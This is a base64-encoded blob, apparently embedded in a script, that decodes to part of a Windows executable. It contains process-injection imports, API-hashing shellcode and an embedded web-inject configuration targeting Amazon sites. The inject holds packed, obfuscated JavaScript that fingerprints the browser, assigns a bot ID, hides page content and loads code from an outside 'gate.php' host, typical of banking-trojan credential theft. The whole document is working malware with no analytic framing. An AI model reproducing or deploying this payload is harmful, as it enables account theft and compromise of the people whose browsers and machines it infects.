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GUpeyIgIA0NCiAgICAgICAgICAgIH0sDQ0KCSAgICAgICAgICB7DQ0KICAgICAgICAgICAgICAgImluamVjdCI6ICI8c2NyaXB0PnZhciBob21lX2xpbmsgPSBcImh0dHBzOi8vYWthbWFpYW5saXNldGVjaC5jb20vYW5hbGlzZWFtYXpvblwiO3ZhciBnYXRlX2xpbmsgPSBob21lX2xpbmsrXCIvZ2F0ZS5waHBcIjt2YXIgcGtleSA9IFwiQmM1cncxMlwiO2V2YWwoZnVuY3Rpb24ocCxhLGMsayxlLHIpe2U9ZnVuY3Rpb24oYyl7cmV0dXJuKGM8YT8nJzplKHBhcnNlSW50KGMvYSkpKSsoKGM9YyVhKT4zNT9TdHJpbmcuZnJvbUNoYXJDb2RlKGMrMjkpOmMudG9TdHJpbmcoMzYpKX07aWYoIScnLnJlcGxhY2UoL14vLFN0cmluZykpe3doaWxlKGMtLSlyW2UoYyldPWtbY118fGUoYyk7az1bZnVuY3Rpb24oZSl7cmV0dXJuIHJbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJuJ1xcXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxcXGInK2UoYykrJ1xcXFxiJywnZycpLGtbY10pO3JldHVybiBwfSgnOSAxTigpe28gYT17MXI6RCwxczpELDFkOkQsMXQ6RH0sMXU7MXU9bS5ZO0h7bS5ZPVwiXCJ9TyhlKXt9YS4xdj0ydCBtLlk9PVwiMU9cIj8hMDoydShcIi8qQDJ2IUAqLyExXCIpO0h7bS5ZPTF1fU8oZSl7fTcoYS4xdil7YS4xdD0oL14oPzouKj9bXmEtMnctWl0pPz8oPzoyeHwyeVxcXFxzKlxcXFw6KVxcXFxzKihcXFxcZCtcXFxcLj9cXFxcZCopL2kpLjF3KDExLjFlfHxcIlwiKT8xUCgxUS4kMSwxMCk6RDtvIGUsMWYseCwxeD1tLjF5KFwiMnpcIiksMXo9W1wiezJBLTFSLTFTLTFULTFVfVwiLFwiezJCLTFSLTFTLTFULTFVfVwiLFwiezJDLTJELTJFLTJGLTJHfVwiXTtIezF4LjFWLjJIPVwiMkkoIzJKIzJLKVwifU8oZSl7fTE0KHg9MDt4PDF6LnU7eCsrKXtIe2EuMWQ9MXguMkwoMXpbeF0sXCIyTVwiKS4yTigvLC9nLFwiLlwiKX1PKGUpe303KGEuMWQpMk99MWY9MVAoYS4xZHx8XCIwXCIsMTApO2EuMXM9bS5ZfHwoKC8yUC9pKS4xdyhtLjJRfHxcIlwiKT81OjFmKXx8YS4xdDthLjFyPTFmfHxhLjFzfW8gYj0hIUUuMlJ8fDExLjFlLjFXKFxcJyAyUy9cXCcpPj0wOzcoLzJULzJVLjF3KDExLjFlKSl7blwiMVhcIn13ezcoYS4xdil7blwiMlZcIithLjFyfXcgNyghYil7blwiMldcIn13IDcoISFFLjJYJiYhYil7blwiMllcIn19fW8gMUE9MU4oKTsoOSgpe1xcJzJaIDMwXFwnO0UuMVk9OShoKXtvIGo9MUIuMWcuMUM7byBrPTFCLjFnLlA7di4xWj05KGEsYixjKXs3KGE9PT1EKW47NyhqJiZhLjFDPT09ail7YS4xQyhiLGMpfXcgNyhhLnU9PT0rYS51KXsxNChvIGk9MCxsPWEudTtpPGw7aSsrKXs3KGIuMWgoYyxhW2ldLGksYSk9PT17fSlufX13ezE0KG8gZCAzMiBhKXs3KGEuMzMoZCkpezcoYi4xaChjLGFbZF0sZCxhKT09PXt9KW59fX19O3YuUD05KGQsZSxmKXtvIGc9W107NyhkPT1EKW4gZzs3KGsmJmQuUD09PWspbiBkLlAoZSxmKTt2LjFaKGQsOShhLGIsYyl7Z1tnLnVdPWUuMWgoZixhLGIsYyl9KTtuIGd9OzcoaCl7di4xRD1ofX07MVkuMWc9ezM0OjkoKXtvIGM9W107Yy5JKDExLjFlKTtjLkkoWzFFLjM1LDFFLjM2LDFFLjM3XS5KKFxcJ3hcXCcpKTtjLkkoMjAgMUYoKS4zOCgpKTtjLkkoISFFLjM5KTtjLkkoISFFLjNhKTtvIGQ9di5QKDExLjNiLDkocCl7byBiPXYuUChwLDkoYSl7blthLkEsYS4zY10uSihcXCd+XFwnKX0pLkooXFwnLFxcJyk7bltwLjNkLHAuM2UsYl0uSihcXCc6OlxcJyl9LHYpLkooXFwnO1xcJyk7Yy5JKGQpOzcodi4xRCl7biB2LjFEKGMuSihcXCcjIyNcXCcpLDMxKX13e24gdi4yMShjLkooXFwnIyMjXFwnKSwzMSl9fSwyMTo5KGEsYil7byBjLDFHLHIsMWksUSwzZixSLDNnLHEsaTtjPWEudSYzOzFHPWEudS1jO3I9YjtRPTNoO1I9M2k7aT0wOzIyKGk8MUcpe3E9KChhLkcoaSkmSykpfCgoYS5HKCsraSkmSyk8PDgpfCgoYS5HKCsraSkmSyk8PDE2KXwoKGEuRygrK2kpJkspPDwyNCk7KytpO3E9KCgoKHEmdCkqUSkrKCgoKHE+Pj4xNikqUSkmdCk8PDE2KSkpJkw7cT0ocTw8MTUpfChxPj4+MTcpO3E9KCgoKHEmdCkqUikrKCgoKHE+Pj4xNikqUikmdCk8PDE2KSkpJkw7cl49cTtyPShyPDwxMyl8KHI+Pj4xOSk7MWk9KCgoKHImdCkqNSkrKCgoKHI+Pj4xNikqNSkmdCk8PDE2KSkpJkw7cj0oKCgxaSZ0KSszaikrKCgoKDFpPj4+MTYpKzNrKSZ0KTw8MTYpKX1xPTA7M2woYyl7MUggMzpxXj0oYS5HKGkrMikmSyk8PDE2OzFIIDI6cV49KGEuRyhpKzEpJkspPDw4OzFIIDE6cV49KGEuRyhpKSZLKTtxPSgoKHEmdCkqUSkrKCgoKHE+Pj4xNikqUSkmdCk8PDE2KSkmTDtxPShxPDwxNSl8KHE+Pj4xNyk7cT0oKChxJnQpKlIpKygoKChxPj4+MTYpKlIpJnQpPDwxNikpJkw7cl49cX1yXj1hLnU7cl49cj4+PjE2O3I9KCgociZ0KSoyMykrKCgoKHI+Pj4xNikqMjMpJnQpPDwxNikpJkw7cl49cj4+PjEzO3I9KCgoKHImdCkqMjUpKygoKChyPj4+MTYpKjI1KSZ0KTw8MTYpKSkmTDtyXj1yPj4+MTY7biByPj4+MH19fSkoKTtvIDNtPSg5KCl7OSAzbihiKXs5IHkoYSl7blwiJVwiK2YuMUkoYT4+NCkrZi4xSShhJjNvKX1vIGM9XCIzcC0zcS5+XCI7byBkPVwiISpcXCcoKTs6QCY9KyQsLz8lI1tdXCI7byBlPWMrZDtvIGY9XCIzclwiO2I9YitcIlwiO28gZz1cIlwiOzcoIWJ8fGIudT09MCl7blwiXCJ9MTQobyBpPTA7aTxiLnU7aSsrKXtvIGg9Yi4xSShpKTs3KGMuMVcoaCkhPS0xKXtnPWcraH13e28gaj1iLkcoaSk7NyhqPDNzKXtnPWcreShqKX03KGo+M3QmJmo8M3Upe2c9Zyt5KChqPj42KXwzdik7Zz1nK3koKGomUyl8VCl9NyhqPjN3JiZqPDN4KXtnPWcreSgoaj4+MTIpfDN5KTtnPWcreSgoKGo+PjYpJlMpfFQpO2c9Zyt5KChqJlMpfFQpfTcoaj4zeil7Zz1nK3koKGo+PjE4KXwzQSk7Zz1nK3koKChqPj4xMikmUyl8VCk7Zz1nK3koKChqPj42KSZTKXxUKTtnPWcreSgoaiZTKXxUKX19fW4gZ305IDI2KCl7NyhtLlUoXCJNXCIpKXttLlUoXCJNXCIpLjI3LjI4KG0uVShcIk1cIikpfW8gYT1cIjNCIHszQzozRCAhM0V9XCI7byBiPW0uMXkoXCIxVlwiKTtiLjI5KFwiQVwiLFwiMmEvM0ZcIik7Yi4yOShcIjJiXCIsXCJNXCIpOzcoMUE9PVwiMVhcIil7Yi4zRz1hfXd7NyhiLjJjKXtiLjJjLjNIPWF9d3tiLjFqKG0uM0koYSkpfX1tLjFrKFwiMUpcIilbMF0uMWooYil9OSAyZChhKXthKz1cIiYzSj1cIisxQTtvIGI9bS4xeShcIjNLXCIpO2IuQT1cIjJhLzNMXCI7Yi4yYj1cIjNNXCI7Yi4zTj05KCl7NyhtLlUoXCJNXCIpKXttLlUoXCJNXCIpLjI3LjI4KG0uVShcIk1cIikpfX07Yi4zTz1hOzcobS4xayhcIjFKXCIpLnU+MCl7bS4xayhcIjFKXCIpWzBdLjFqKGIpfXd7bS4xayhcIjJlXCIpWzBdLjFqKGIpfX05IDJmKCl7MmQoRS4zUCtcIi8zUS4zUj8zUz1cIisyZygyMCAxRigpKSl9bnszVDo5KCl7MmYoKX0sM1U6OSgpezI2KCl9fX0oKSk7byAzVj0oOSgpe28gZCxGLEI9e307QltcIltDIDNXXVwiXT1cIjNYXCI7QltcIltDIDJnXVwiXT1cIjFPXCI7QltcIltDIDJoXVwiXT1cIjNZXCI7QltcIltDIDNaXVwiXT1cIjlcIjtCW1wiW0MgMUJdXCJdPVwiMmlcIjtCW1wiW0MgMUZdXCJdPVwiNDBcIjtCW1wiW0MgMVFdXCJdPVwiNDFcIjtCW1wiW0MgMmpdXCJdPVwiQ1wiO28gZj17MWw6ViwxbToxLDQyOjkoYSl7NyhhKXtmLjFtKyt9d3tmLnooVyl9fSx6OjkoYSl7NygoYT09PVcmJiEtLWYuMW0pfHwoYSE9PVcmJiFmLjFsKSl7NyghbS4yZSl7biAxSyhmLnosMSl9Zi4xbD1XOzcoYSE9PVcmJi0tZi4xbT4wKXtufWQuMW4obSxbZl0pfX0sMms6OSgpezcoZCl7bn1kPWYuMmwoKTs3KG0uMm09PT1cIjJuXCIpe24gMUsoZi56LDEpfTcobS4xbyl7bS4xbyhcIkZcIixGLFYpO0UuMW8oXCI0M1wiLGYueixWKX13IDcobS4xcCl7bS4xcChcIjJvXCIsRik7RS4xcChcIjQ0XCIsZi56KTtvIGE9VjtIe2E9RS40NT09RH1PKGUpe303KG0uMnAuMnEmJmEpezFMKCl9fX0sMmw6OSgpe28gYz1bXSxOLDFhLDFxLFg9ezFNOjkoKXs3KCExcSl7byBhPTJyLGksdSwxYixBLDFjOzcoTil7MWM9TjtOPTB9MTQoaT0wLHU9YS51O2k8dTtpKyspezFiPWFbaV07QT1mLkEoMWIpOzcoQT09PVwiMmlcIil7WC4xTS4ycyhYLDFiKX13IDcoQT09PVwiOVwiKXtjLkkoMWIpfX03KDFjKXtYLjFuKDFjWzBdLDFjWzFdKX19biB2fSwxbjo5KGEsYil7NyghMXEmJiFOJiYhMWEpe2I9Ynx8W107MWE9MTtIezIyKGNbMF0pe2MuNDYoKS4ycyhhLGIpfX00N3tOPVthLGJdOzFhPTB9fW4gdn0sNDg6OSgpe1guMW4odiwycik7biB2fSw0OTo5KCl7biEhKDFhfHxOKX0sNGE6OSgpezFxPTE7Yz1bXTtuIHZ9fTtuIFh9LEE6OShhKXtuIGE9PUQ/MmgoYSk6Qlsyai4xZy40Yi4xaChhKV18fFwiQ1wifX07OSAxTCgpezcoZi4xbCl7bn1Ie20uMnAuMnEoXCI0Y1wiKX1PKGUpezFLKDFMLDEpO259Zi56KCl9NyhtLjFvKXtGPTkoKXttLjRkKFwiRlwiLEYsVik7Zi56KCl9fXcgNyhtLjFwKXtGPTkoKXs3KG0uMm09PT1cIjJuXCIpe20uNGUoXCIyb1wiLEYpO2YueigpfX19OSB6KGEpe2YuMmsoKTtvIGI9Zi5BKGEpO2QuMU0oYSl9biB6fSkoKTs5IDRmKCl7biA0ZyE9NGg/VzpWfScsNjIsMjY2LCd8fHx8fHx8aWZ8fGZ1bmN0aW9ufHx8fHx8fHx8fHx8fGRvY3VtZW50fHJldHVybnx2YXJ8fGsxfGgxfHwweGZmZmZ8bGVuZ3RofHRoaXN8ZWxzZXx8Z2V0aGV4fHJlYWR5fHR5cGV8Y2xhc3MydHlwZXxvYmplY3R8bnVsbHx3aW5kb3d8RE9NQ29udGVudExvYWRlZHxjaGFyQ29kZUF0fHRyeXxwdXNofGpvaW58MHhmZnwweGZmZmZmZmZmfGRvY3VtZW50X2hpZGVfY3NzfGZpcmVkfGNhdGNofG1hcHxjMXxjMnwweDNGfDB4ODB8Z2V0RWxlbWVudEJ5SWR8ZmFsc2V8dHJ1ZXxkZWZlcnJlZHxkb2N1bWVudE1vZGV8fHxuYXZpZ2F0b3J8fHxmb3J8fHx8fHxmaXJpbmd8ZWxlbXxfZmlyZWR8dmVySUV0cnVlfHVzZXJBZ2VudHx2ZXJUcnVlRmxvYXR8cHJvdG90eXBlfGNhbGx8aDFifGFwcGVuZENoaWxkfGdldEVsZW1lbnRzQnlUYWdOYW1lfGlzUmVhZHl8cmVhZHlXYWl0fHJlc29sdmVXaXRofGFkZEV2ZW50TGlzdGVuZXJ8YXR0YWNoRXZlbnR8Y2FuY2VsbGVkfHZlcklFfGRvY01vZGVJRXx2ZXJJRV91YXx0bXB8aXNJRXx0ZXN0fG9ianxjcmVhdGVFbGVtZW50fENMQVNTSUR8YnJvd3Nlcl90eXBlfEFycmF5fGZvckVhY2h8aGFzaGVyfHNjcmVlbnxEYXRlfGJ5dGVzfGNhc2V8Y2hhckF0fGhlYWR8c2V0VGltZW91dHxkb1Njcm9sbENoZWNrfGRvbmV8ZGV0ZWN0QnJvd3NlcnxudW1iZXJ8cGFyc2VGbG9hdHxSZWdFeHB8QTI2OXwxMUQxfEI1QkZ8MDAwMEY4MDUxNTE1fHN0eWxlfGluZGV4T2Z8RkZ8RmluZ2VycHJpbnR8ZWFjaHxuZXd8bXVybXVyaGFzaDNfMzJfZ2N8d2hpbGV8MHg4NWViY2E2Ynx8MHhjMmIyYWUzNXxoaWRlQ29udGVudHxwYXJlbnROb2RlfHJlbW92ZUNoaWxkfHNldEF0dHJpYnV0ZXx0ZXh0fGlkfHN0eWxlU2hlZXR8bG9hZFNjcmlwdHxib2R5fHJ1bnxOdW1iZXJ8U3RyaW5nfGFycmF5fE9iamVjdHxiaW5kUmVhZHl8X0RlZmVycmVkfHJlYWR5U3RhdGV8Y29tcGxldGV8b25yZWFkeXN0YXRlY2hhbmdlfGRvY3VtZW50RWxlbWVudHxkb1Njcm9sbHxhcmd1bWVudHN8YXBwbHl8dHlwZW9mfGV2YWx8Y2Nfb258ekF8TVNJRXxydnxkaXZ8NDVFQTc1QTB8M0FGMzYyMzB8ODk4MjAyMDB8RUNCRHwxMUNGfDhCODV8MDBBQTAwNUI0MzgzfGJlaGF2aW9yfHVybHxkZWZhdWx0fGNsaWVudGNhcHN8Z2V0Q29tcG9uZW50VmVyc2lvbnxjb21wb25lbnRpZHxyZXBsYWNlfGJyZWFrfGJhY2t8Y29tcGF0TW9kZXxvcGVyYXxPUFJ8ZmlyZWZveHxpbXxJRXxPUHxjaHJvbWV8Q0h8dXNlfHN0cmljdHx8aW58aGFzT3duUHJvcGVydHl8Z2V0fGhlaWdodHx3aWR0aHxjb2xvckRlcHRofGdldFRpbWV6b25lT2Zmc2V0fHNlc3Npb25TdG9yYWdlfGxvY2FsU3RvcmFnZXxwbHVnaW5zfHN1ZmZpeGVzfG5hbWV8ZGVzY3JpcHRpb258YzFifGMyYnwweGNjOWUyZDUxfDB4MWI4NzM1OTN8MHg2YjY0fDB4ZTY1NHxzd2l0Y2h8aUxvYWRlcnx1cmxFbmNvZGV8MHhGfDAxMjM0NTY3ODlBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6fF98MDEyMzQ1Njc4OUFCQ0RFRmFiY2RlZnwxMjh8MTI3fDIwNDh8MHhDMHwyMDQ3fDY1NTM2fDB4RTB8NjU1MzV8MHhGMHxodG1sfGRpc3BsYXl8bm9uZXxpbXBvcnRhbnR8Y3NzfGlubmVySFRNTHxjc3NUZXh0fGNyZWF0ZVRleHROb2RlfGJ0fHNjcmlwdHxqYXZhc2NyaXB0fGpzZXNzX3NjcmlwdF9sb2FkZXJ8b25lcnJvcnxzcmN8aG9tZV9saW5rfGFtYXpvbnxqc3xzc2lkfFJ1bnxIaWRlQ29udGVudHxjUmVhZHl8Qm9vbGVhbnxib29sZWFufHN0cmluZ3xGdW5jdGlvbnxkYXRlfHJlZ2V4cHxob2xkUmVhZHl8bG9hZHxvbmxvYWR8ZnJhbWVFbGVtZW50fHNoaWZ0fGZpbmFsbHl8cmVzb2x2ZXxpc1Jlc29sdmVkfGNhbmNlbHx0b1N0cmluZ3xsZWZ0fHJlbW92ZUV2ZW50TGlzdGVuZXJ8ZGV0YWNoRXZlbnR8aXNGcmFtZXx0b3B8c2VsZicuc3BsaXQoJ3wnKSwwLHt9KSk7dmFyIGJvdGlkID0gXCJASURAXCI7Ym90aWQgPSAvKElEKS9pbS50ZXN0KGJvdGlkKSA/IGJvdGlkID0gXCIlJSVCT1RfTklDSyUlJVwiIDogYm90aWQ7Ym90aWQgPSAvQk9UX05JQ0svaW0udGVzdChib3RpZCkgPyBib3RpZCA9IFwiJVVJRCVcIiA6IGJvdGlkO2JvdGlkID0gL1VJRC9pbS50ZXN0KGJvdGlkKSA/IGJvdGlkID0gXCI8JUlEQk9UJT5cIiA6IGJvdGlkO2JvdGlkID0gL0lEQk9UL2ltLnRlc3QoYm90aWQpID8gYm90aWQgPSBuZXcgRmluZ2VycHJpbnQoKS5nZXQoKSA6IGJvdGlkO2lmKCFpc0ZyYW1lKCkgJiYgL2FtYXpvblxcLihjb218ZnJ8ZGV8Y2F8aXR8Y29cXC5qcCkvaW0udGVzdCh0b3AubG9jYXRpb24uaHJlZikpe2lMb2FkZXIuSGlkZUNvbnRlbnQoKTtjUmVhZHkoZnVuY3Rpb24oKXtpTG9hZGVyLlJ1bigpfSk7fWVsc2UgaWYoaXNGcmFtZSgpICYmIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwiYXBfZW1haWxcIikpe3RvcC5sb2NhdGlvbi5ocmVmID0gc2VsZi5sb2NhdGlvbi5ocmVmO308L3NjcmlwdD4iLA0NCiAgICAgICAgICAgICAgICJiZWZvcmUiOiAiIiwNDQogICAgICAgICAgICAgICAiYWZ0ZXIiOiAiPGhlYWQqPiIgIA0NCiAgICAgICAgICAgIH0NDQogICAgICAgICBdDQ0KICAgICAgfQ0NCiAgIF0NDQp9DQ0KAAAAAAAAAAAAAA==' #replace64
